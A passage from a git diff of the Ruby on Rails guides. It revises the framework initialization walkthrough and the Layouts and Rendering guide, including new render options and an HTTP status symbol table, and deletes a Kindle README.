`aliases` +defined here to find the matching command. + +### `rails/commands/command_tasks.rb` + +When one types an incorrect rails command, the `run_command` is responsible for +throwing an error message. If the command is valid, a method of the same name +is called. ```ruby -when 'server' - # Change to the application's path if there is no config.ru file in current dir. - # This allows us to run script/rails server from other directories, but still get - # the main config.ru and properly set the tmp directory. - Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru")) +COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help) - require 'rails/commands/server' - Rails::Server.new.tap { |server| +def run_command!(command) + command = parse_command(command) + if COMMAND_WHITELIST.include?(command) + send(command) + else + write_error_message(command) + end +end +``` + +With the `server` command, Rails will further run the following code: + +```ruby +def set_application_directory! + Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru")) +end + +def server + set_application_directory! + require_command!("server") + + Rails::Server.new.tap do |server| # We need to require application after the server sets environment, # otherwise the --environment option given to the server won't propagate. require APP_PATH Dir.chdir(Rails.application.root) server.start - } + end +end + +def require_command!(command) + require "rails/commands/#{command}" +end ``` -This file will change into the root of the directory (a path two directories back from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class. +This file will change into the Rails root directory (a path two directories up +from `APP_PATH` which points at `config/application.rb`), but only if the +`config.ru` file isn't found. This then requires `rails/commands/server` which +sets up the `Rails::Server` class. ```ruby require 'fileutils' require 'optparse' require 'action_dispatch' +require 'rails' module Rails class Server < ::Rack::Server @@ -257,11 +220,11 @@ module Rails ### `actionpack/lib/action_dispatch.rb` Action Dispatch is the routing component of the Rails framework. -It adds functionalities like routing, session, and common middlewares. +It adds functionality like routing, session, and common middlewares. ### `rails/commands/server.rb` -The `Rails::Server` class is defined in this file as inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`: +The `Rails::Server` class is defined in this file by inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`: ```ruby def initialize(*) @@ -310,10 +273,10 @@ def parse_options(args) options = default_options # Don't evaluate CGI ISINDEX parameters. - # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html + # http://www.meb.uni-bonn.de/docs/cgi/cl.html args.clear if ENV.include?("REQUEST_METHOD") - options.merge! opt_parser.parse! args + options.merge! opt_parser.parse!(args) options[:config] = ::File.expand_path(options[:config]) ENV["RACK_ENV"] = options[:environment] options @@ -324,18 +287,21 @@ With the `default_options` set to this: ```ruby def default_options + environment = ENV['RACK_ENV'] || 'development' + default_host = environment == 'development' ? 'localhost' : '0.0.0.0' + { - :environment => ENV['RACK_ENV'] || "development", + :environment => environment, :pid => nil, :Port => 9292, - :Host => "0.0.0.0", + :Host => default_host, :AccessLog => [], :config => "config.ru" } end ``` -There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server` +There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`: ```ruby def opt_parser @@ -363,43 +329,50 @@ set earlier) is required. ### `config/application` -When `require APP_PATH` is executed, `config/application.rb` is loaded. -This file exists in your app and it's free for you to change based -on your needs. +When `require APP_PATH` is executed, `config/application.rb` is loaded (recall +that `APP_PATH` is defined in `bin/rails`). This file exists in your application +and it's free for you to change based on your needs. ### `Rails::Server#start` -After `config/application` is loaded, `server.start` is called. This method is defined like this: +After `config/application` is loaded, `server.start` is called. This method is +defined like this: ```ruby def start - url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" - puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" - puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}" - puts "=> Call with -d to detach" unless options[:daemonize] + print_boot_information trap(:INT) { exit } - puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + create_tmp_directories + log_to_stdout if options[:log_stdout] + + super + ... +end + +private + + def print_boot_information + ... + puts "=> Run `rails server -h` for more startup options" + ... + puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + end - #Create required tmp directories if not found - %w(cache pids sessions sockets).each do |dir_to_make| - FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make)) + def create_tmp_directories + %w(cache pids sessions sockets).each do |dir_to_make| + FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make)) + end end - unless options[:daemonize] + def log_to_stdout wrapped_app # touch the app so the logger is set up console = ActiveSupport::Logger.new($stdout) console.formatter = Rails.logger.formatter + console.level = Rails.logger.level Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) end - - super -ensure - # The '-h' option calls exit before @options is set. - # If we call 'options' with it unset, we get double help banners. - puts 'Exiting' unless @options && options[:daemonize] -end ``` This is where the first output of the Rails initialization happens. This @@ -458,7 +431,7 @@ end The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time we're going to explore more (even though it was executed before, and -thus memorized by now). +thus memoized by now). ```ruby @wrapped_app ||= build_app app @@ -468,7 +441,11 @@ The `app` method here is defined like so: ```ruby def app - @app ||= begin + @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config +end +... +private + def build_app_and_options_from_config if !::File.exist? options[:config] abort "configuration #{options[:config]} not found" end @@ -477,7 +454,10 @@ def app self.options.merge! options app end -end + + def build_app_from_string + Rack::Builder.new_from_string(self.options[:builder]) + end ``` The `options[:config]` value defaults to `config.ru` which contains this: @@ -485,7 +465,7 @@ The `options[:config]` value defaults to `config.ru` which contains this: ```ruby # This file is used by Rack-based servers to start the application. -require ::File.expand_path('../config/environment', __FILE__) +require ::File.expand_path('../config/environment', __FILE__) run <%= app_const %> ``` @@ -493,25 +473,42 @@ run <%= app_const %> The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code: ```ruby -app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", - TOPLEVEL_BINDING, config +app = new_from_string cfgfile, config + +... + +def self.new_from_string(builder_script, file="(rackup)") + eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app", + TOPLEVEL_BINDING, file, 0 +end ``` The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run: ```ruby -require ::File.expand_path('../config/environment', __FILE__) +require ::File.expand_path('../config/environment', __FILE__) ``` ### `config/environment.rb` This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup. -This file begins with requiring `config/application.rb`. +This file begins with requiring `config/application.rb`: + +```ruby +require File.expand_path('../application', __FILE__) +``` ### `config/application.rb` -This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger. +This file requires `config/boot.rb`: + +```ruby +require File.expand_path('../boot', __FILE__) +``` + +But only if it hasn't been required before, which would be the case in `rails server` +but **wouldn't** be the case with Passenger. Then the fun begins! @@ -532,11 +529,12 @@ This file is responsible for requiring all the individual frameworks of Rails: require "rails" %w( - active_record - action_controller - action_mailer - rails/test_unit - sprockets + active_record + action_controller + action_view + action_mailer + rails/test_unit + sprockets ).each do |framework| begin require "#{framework}/railtie" @@ -551,15 +549,17 @@ inside each of those frameworks, but you're encouraged to try and explore them on your own. For now, just keep in mind that common functionality like Rails engines, -I18n and Rails configuration is all being defined here. +I18n and Rails configuration are all being defined here. ### Back to `config/environment.rb` -When `config/application.rb` has finished loading Rails, and defined -your application namespace, you go back to `config/environment.rb`, -where your application is initialized. For example, if you application was called -`Blog`, here you would find `Blog::Application.initialize!`, which is -defined in `rails/application.rb` +The rest of `config/application.rb` defines the configuration for the +`Rails::Application` which will be used once the application is fully +initialized. When `config/application.rb` has finished loading Rails and defined +the application namespace, we go back to `config/environment.rb`, +where the application is initialized. For example, if the application was called +`Blog`, here we would find `Rails.application.initialize!`, which is +defined in `rails/application.rb`. ### `railties/lib/rails/application.rb` @@ -574,16 +574,33 @@ def initialize!(group=:default) #:nodoc: end ``` -As you can see, you can only initialize an app once. This is also where the initializers are run. +As you can see, you can only initialize an app once. The initializers are run through +the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`: -TODO: review this +```ruby +def run_initializers(group=:default, *args) + return if instance_variable_defined?(:@ran) + initializers.tsort_each do |initializer| + initializer.run(*args) if initializer.belongs_to?(group) + end + @ran = true +end +``` + +The `run_initializers` code itself is tricky. What Rails is doing here is +traversing all the class ancestors looking for those that respond to an +`initializers` method. It then sorts the ancestors by name, and runs them. +For example, the `Engine` class will make all the engines available by +providing an `initializers` method on them. -The initializers code itself is tricky. What Rails is doing here is it -traverses all the class ancestors looking for an `initializers` method, -sorting them and running them. For example, the `Engine` class will make -all the engines available by providing the `initializers` method. +The `Rails::Application` class, as defined in `railties/lib/rails/application.rb` +defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers +prepare the application (like initializing the logger) while the `finisher` +initializers (like building the middleware stack) are run last. The `railtie` +initializers are the initializers which have been defined on the `Rails::Application` +itself and are run between the `bootstrap` and `finishers`. -After this is done we go back to `Rack::Server` +After this is done we go back to `Rack::Server`. ### Rack: lib/rack/server.rb @@ -591,7 +608,11 @@ Last time we left when the `app` method was being defined: ```ruby def app - @app ||= begin + @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config +end +... +private + def build_app_and_options_from_config if !::File.exist? options[:config] abort "configuration #{options[:config]} not found" end @@ -600,7 +621,10 @@ def app self.options.merge! options app end -end + + def build_app_from_string + Rack::Builder.new_from_string(self.options[:builder]) + end ``` At this point `app` is the Rails app itself (a middleware), and what @@ -618,7 +642,7 @@ def build_app(app) end ``` -Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`. +Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`. Here's how it looked like when we left: ```ruby @@ -626,40 +650,50 @@ server.run wrapped_app, options, &blk ``` At this point, the implementation of `server.run` will depend on the -server you're using. For example, if you were using Mongrel, here's what +server you're using. For example, if you were using Puma, here's what the `run` method would look like: ```ruby -def self.run(app, options={}) - server = ::Mongrel::HttpServer.new( - options[:Host] || '0.0.0.0', - options[:Port] || 8080, - options[:num_processors] || 950, - options[:throttle] || 0, - options[:timeout] || 60) - # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods. - # Use is similar to #run, replacing the app argument with a hash of - # { path=>app, ... } or an instance of Rack::URLMap. - if options[:map] - if app.is_a? Hash - app.each do |path, appl| - path = '/'+path unless path[0] == ?/ - server.register(path, Rack::Handler::Mongrel.new(appl)) - end - elsif app.is_a? URLMap - app.instance_variable_get(:@mapping).each do |(host, path, appl)| - next if !host.nil? && !options[:Host].nil? && options[:Host] != host - path = '/'+path unless path[0] == ?/ - server.register(path, Rack::Handler::Mongrel.new(appl)) - end - else - raise ArgumentError, "first argument should be a Hash or URLMap" - end - else - server.register('/', Rack::Handler::Mongrel.new(app)) +... +DEFAULT_OPTIONS = { + :Host => '0.0.0.0', + :Port => 8080, + :Threads => '0:16', + :Verbose => false +} + +def self.run(app, options = {}) + options = DEFAULT_OPTIONS.merge(options) + + if options[:Verbose] + app = Rack::CommonLogger.new(app, STDOUT) + end + + if options[:environment] + ENV['RACK_ENV'] = options[:environment].to_s end - yield server if block_given? - server.run.join + + server = ::Puma::Server.new(app) + min, max = options[:Threads].split(':', 2) + + puts "Puma #{::Puma::Const::PUMA_VERSION} starting..." + puts "* Min threads: #{min}, max threads: #{max}" + puts "* Environment: #{ENV['RACK_ENV']}" + puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}" + + server.add_tcp_listener options[:Host], options[:Port] + server.min_threads = min + server.max_threads = max + yield server if block_given? + + begin + server.run.join + rescue Interrupt + puts "* Gracefully stopping, waiting for requests to finish" + server.stop(true) + puts "* Goodbye!" + end + end ``` diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md deleted file mode 100644 index 08937e053e..0000000000 --- a/guides/source/kindle/KINDLE.md +++ /dev/null @@ -1,26 +0,0 @@ -# Rails Guides on the Kindle - - -## Synopsis - - 1. Obtain `kindlegen` from the link below and put the binary in your path - 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file - 3. Copy `output/kindle/rails_guides.mobi` to your Kindle - -## Resources - - * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format) - * Example Periodical [.ncx](https://gist.github.com/808c971ed087b839d462) and [.opf](https://gist.github.com/d6349aa8488eca2ee6d0) - * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf) - * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621) - -## TODO - -### Post release - - * Integrate generated Kindle document into published HTML guides - * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it) - * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode) - * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides - * `.epub` generation. - diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb index e013797dee..f310edd3a1 100644 --- a/guides/source/kindle/toc.html.erb +++ b/guides/source/kindle/toc.html.erb @@ -20,5 +20,5 @@ Ruby on Rails Guides <ul> <li><a href="credits.html">Credits</a></li> <li><a href="copyright.html">Copyright & License</a></li> -<ul> +</ul> </div> diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb index 397dd62638..1005057ca9 100644 --- a/guides/source/layout.html.erb +++ b/guides/source/layout.html.erb @@ -1,10 +1,9 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> -<meta name="viewport" content="width=device-width, initial-scale=1"> +<meta name="viewport" content="width=device-width, initial-scale=1"/> <title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> <link rel="stylesheet" type="text/css" href="stylesheets/style.css" /> @@ -36,7 +35,6 @@ <li class="more-info"><a href="https://github.com/rails/rails">Code</a></li> <li class="more-info"><a href="http://rubyonrails.org/screencasts">Screencasts</a></li> <li class="more-info"><a href="http://rubyonrails.org/documentation">Documentation</a></li> - <li class="more-info"><a href="http://rubyonrails.org/ecosystem">Ecosystem</a></li> <li class="more-info"><a href="http://rubyonrails.org/community">Community</a></li> <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li> </ul> @@ -48,7 +46,7 @@ <ul class="nav"> <li><a class="nav-item" href="index.html">Home</a></li> <li class="guides-index guides-index-large"> - <a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a> + <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a> <div id="guides" class="clearfix" style="display: none;"> <hr /> <% ['L', 'R'].each do |position| %> @@ -78,7 +76,6 @@ </select> </li> </ul> - </div> </div> </div> <hr class="hide" /> @@ -101,17 +98,15 @@ You're encouraged to help improve the quality of this guide. </p> <p> - If you see any typos or factual errors you are confident to - patch, please clone <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> - and push the change yourself. That branch of Rails has public write access. - Commits are still reviewed, but that happens after you've submitted your - contribution. <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> is - cross-merged with master periodically. + Please contribute if you see any typos or factual errors. + To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section. </p> <p> You may also find incomplete content, or stuff that is not up to date. - Please do add any missing documentation for master. Check the - <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> + Please do add any missing documentation for master. Make sure to check + <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify + if the issues are already fixed or not on the master branch. + Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> <p> @@ -141,7 +136,7 @@ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script> <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script> <script type="text/javascript"> - SyntaxHighlighter.all() + SyntaxHighlighter.all(); $(guidesIndex.bind); </script> </body> diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md index 0875941e29..c3cde49630 100644 --- a/guides/source/layouts_and_rendering.md +++ b/guides/source/layouts_and_rendering.md @@ -1,7 +1,9 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Layouts and Rendering in Rails ============================== -This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to: +This guide covers the basic layout features of Action Controller and Action View. After reading this guide, you will know: @@ -88,7 +90,7 @@ If we want to display the properties of all the books in our view, we can do so <% end %> </table> -<br /> +<br> <%= link_to "New book", new_book_path %> ``` @@ -97,7 +99,7 @@ NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandler ### Using `render` -In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. +In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser. @@ -122,8 +124,7 @@ X-Runtime: 0.014297 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache - - $ +$ ``` We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed. @@ -137,7 +138,7 @@ If you want to render the view that corresponds to a different template within t ```ruby def update @book = Book.find(params[:id]) - if @book.update_attributes(params[:book]) + if @book.update(book_params) redirect_to(@book) else render "edit" @@ -145,14 +146,14 @@ def update end ``` -If the call to `update_attributes` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller. +If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller. If you prefer, you can use a symbol instead of a string to specify the action to render: ```ruby def update @book = Book.find(params[:id]) - if @book.update_attributes(params[:book]) + if @book.update(book_params) redirect_to(@book) else render :edit @@ -190,7 +191,7 @@ render file: "/u/apps/warehouse_app/current/app/views/products/show" The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content. -NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `layout: true` option. +NOTE: By default, the file is rendered using the current layout. TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames. @@ -237,15 +238,35 @@ render inline: "xml.p {'Horrid coding practice!'}", type: :builder #### Rendering Text -You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`: +You can send plain text - with no markup at all - back to the browser by using +the `:plain` option to `render`: + +```ruby +render plain: "OK" +``` + +TIP: Rendering pure text is most useful when you're responding to Ajax or web +service requests that are expecting something other than proper HTML. + +NOTE: By default, if you use the `:plain` option, the text is rendered without +using the current layout. If you want Rails to put the text into the current +layout, you need to add the `layout: true` option and use the `.txt.erb` +extension for the layout file. + +#### Rendering HTML + +You can send a HTML string back to the browser by using the `:html` option to +`render`: ```ruby -render text: "OK" +render html: "<strong>Not Found</strong>".html_safe ``` -TIP: Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML. +TIP: This is useful when you're rendering a small snippet of HTML code. +However, you might want to consider moving it to a template file if the markup +is complex. -NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `layout: true` option. +NOTE: This option will escape HTML entities if the string is not HTML safe. #### Rendering JSON @@ -277,14 +298,30 @@ render js: "alert('Hello Rails');" This will send the supplied string to the browser with a MIME type of `text/javascript`. +#### Rendering raw body + +You can send a raw content back to the browser, without setting any content +type, by using the `:body` option to `render`: + +```ruby +render body: "raw" +``` + +TIP: This option should be used only if you don't care about the content type of +the response. Using `:plain` or `:html` might be more appropriate in most of the +time. + +NOTE: Unless overridden, your response returned from this render option will be +`text/html`, as that is the default content type of Action Dispatch response. + #### Options for `render` Calls to the `render` method generally accept four options: * `:content_type` * `:layout` -* `:status` * `:location` +* `:status` ##### The `:content_type` Option @@ -310,25 +347,89 @@ You can also tell Rails to render with no layout at all: render layout: false ``` -##### The `:status` Option +##### The `:location` Option -Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this: +You can use the `:location` option to set the HTTP `Location` header: ```ruby -render status: 500 -render status: :forbidden +render xml: photo, location: photo_url(photo) ``` -Rails understands both numeric and symbolic status codes. - -##### The `:location` Option +##### The `:status` Option -You can use the `:location` option to set the HTTP `Location` header: +Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this: ```ruby -render xml: photo, location: photo_url(photo) +render status: 500 +render status: :forbidden ``` +Rails understands both numeric status codes and the corresponding symbols shown below. + +| Response Class | HTTP Status Code | Symbol | +| ------------------- | ---------------- | -------------------------------- | +| **Informational** | 100 | :continue | +| | 101 | :switching_protocols | +| | 102 | :processing | +| **Success** | 200 | :ok | +| | 201 | :created | +| | 202 | :accepted | +| | 203 | :non_authoritative_information | +| | 204 | :no_content | +| | 205 | :reset_content | +| | 206 | :partial_content | +| | 207 | :multi_status | +| | 208 | :already_reported | +| | 226 | :im_used | +| **Redirection** | 300 | :multiple_choices | +| | 301 | :moved_permanently | +| | 302 | :found | +| | 303 | :see_other | +| | 304 | :not_modified | +| | 305 | :use_proxy | +| | 306 | :reserved | +| | 307 | :temporary_redirect | +| | 308 | :permanent_redirect | +| **Client Error** | 400 | :bad_request | +| | 401 | :unauthorized | +| | 402 | :payment_required | +| | 403 | :forbidden | +| | 404 | :not_found | +| | 405 | :method_not_allowed | +| | 406 | :not_acceptable | +| | 407 | :proxy_authentication_required | +| | 408 | :request_timeout | +| | 409 | :conflict | +| | 410 | :gone | +| | 411 | :length_required | +| | 412 | :precondition_failed | +| | 413 | :request_entity_too_large | +| | 414 | :request_uri_too_long | +| | 415 | :unsupported_media_type | +| | 416 | :requested_range_not_satisfiable | +| | 417 | :expectation_failed | +| | 422 | :unprocessable_entity | +| | 423 | :locked | +| | 424 | :failed_dependency | +| | 426 | :upgrade_required | +| | 428 | :precondition_required | +| | 429 | :too_many_requests | +| | 431 | :request_header_fields_too_large | +| **Server Error** | 500 | :internal_server_error | +| | 501 | :not_implemented | +| | 502 | :bad_gateway | +| | 503 | :service_unavailable | +| | 504 | :gateway_timeout | +| | 505 | :http_version_not_supported | +| | 506 | :variant_also_negotiates | +| | 507 | :insufficient_storage | +| | 508 | :loop_detected | +| | 510 | :not_extended | +| | 511 | :network_authentication_required | + +NOTE: If you try to render content along with a non-content status code +(100-199, 204, 205 or 304), it will be dropped from the response. + #### Finding Layouts To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. @@ -344,7 +445,7 @@ class ProductsController < ApplicationController end ``` -With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout. +With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout. To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class: @@ -363,7 +464,7 @@ You can use a symbol to defer the choice of layout until a request is processed: ```ruby class ProductsController < ApplicationController - layout "products_layout" + layout :products_layout def show @product = Product.find(params[:id]) @@ -411,33 +512,33 @@ Layout declarations cascade downward in the hierarchy, and more specific layout end ``` -* `posts_controller.rb` +* `articles_controller.rb` ```ruby - class PostsController < ApplicationController + class ArticlesController < ApplicationController end ``` -* `special_posts_controller.rb` +* `special_articles_controller.rb` ```ruby - class SpecialPostsController < PostsController + class SpecialArticlesController < ArticlesController layout "special" end ``` -* `old_posts_controller.rb` +* `old_articles_controller.rb` ```ruby - class OldPostsController < SpecialPostsController + class OldArticlesController < SpecialArticlesController layout false def show - @post = Post.find(params[:id]) + @article = Article.find(params[:id]) end def index - @old_posts = Post.older + @old_articles = Article.older render layout: "old" end # ... @@ -447,10 +548,10 @@ Layout declarations cascade downward in the hierarchy, and more specific layout In this application: * In general, views will be rendered in the `main` layout -* `PostsController#index` will use the `main` layout -* `SpecialPostsController#index` will use the `special` layout -* `OldPostsController#show` will use no layout at all -* `OldPostsController#index` will use the `old` layout +* `ArticlesController#index` will use the `main` layout +* `SpecialArticlesController#index` will use the `special` layout +* `OldArticlesController#show` will use no layout at all +* `OldArticlesController#index` will use the `old` layout #### Avoiding Double Render Errors @@ -531,7 +632,7 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? render action: "index" end @@ -546,7 +647,7 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? redirect_to action: :index end @@ -565,10 +666,11 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? @books = Book.all - render "index", alert: "Your book was not found!" + flash.now[:alert] = "Your book was not found" + render "index" end end ``` @@ -577,7 +679,7 @@ This would detect that there are no books with the specified ID, populate the `@ ### Using `head` To Build Header-Only Responses -The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header: +The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing a HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header: ```ruby head :bad_request @@ -642,7 +744,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th #### Linking to Feeds with the `auto_discovery_link_tag` -The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: +The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: ```erb <%= auto_discovery_link_tag(:rss, {action: "feed"}, @@ -653,7 +755,7 @@ There are three tag options available for the `auto_discovery_link_tag`: * `:rel` specifies the `rel` value in the link. The default value is "alternate". * `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* `:title` specifies the title of the link. The default value is the uppercased `:type` value, for example, "ATOM" or "RSS". +* `:title` specifies the title of the link. The default value is the uppercase `:type` value, for example, "ATOM" or "RSS". #### Linking to JavaScript Files with the `javascript_include_tag` @@ -695,72 +797,6 @@ To include `http://example.com/main.js`: <%= javascript_include_tag "http://example.com/main.js" %> ``` -If the application does not use the asset pipeline, the `:defaults` option loads jQuery by default: - -```erb -<%= javascript_include_tag :defaults %> -``` - -Outputting `script` tags such as this: - -```html -<script src="/javascripts/jquery.js"></script> -<script src="/javascripts/jquery_ujs.js"></script> -``` - -These two files for jQuery, `jquery.js` and `jquery_ujs.js` must be placed inside `public/javascripts` if the application doesn't use the asset pipeline. These files can be downloaded from the [jquery-rails repository on GitHub](https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts) - -WARNING: If you are using the asset pipeline, this tag will render a `script` tag for an asset called `defaults.js`, which would not exist in your application unless you've explicitly created it. - -And you can in any case override the `:defaults` expansion in `config/application.rb`: - -```ruby -config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js) -``` - -You can also define new defaults: - -```ruby -config.action_view.javascript_expansions[:projects] = %w(projects.js tickets.js) -``` - -And use them by referencing them exactly like `:defaults`: - -```erb -<%= javascript_include_tag :projects %> -``` - -When using `:defaults`, if an `application.js` file exists in `public/javascripts` it will be included as well at the end. - -Also, if the asset pipeline is disabled, the `:all` expansion loads every JavaScript file in `public/javascripts`: - -```erb -<%= javascript_include_tag :all %> -``` - -Note that your defaults of choice will be included first, so they will be available to all subsequently included files. - -You can supply the `:recursive` option to load files in subfolders of `public/javascripts` as well: - -```erb -<%= javascript_include_tag :all, recursive: true %> -``` - -If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `cache: true` in your `javascript_include_tag`: - -```erb -<%= javascript_include_tag "main", "columns", cache: true %> -``` - -By default, the combined file will be delivered as `javascripts/all.js`. You can specify a location for the cached asset file instead: - -```erb -<%= javascript_include_tag "main", "columns", - cache: "cache/main/display" %> -``` - -You can even use dynamic paths such as `cache/#{current_site}/main/display`. - #### Linking to CSS Files with the `stylesheet_link_tag` The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided. @@ -797,33 +833,6 @@ By default, 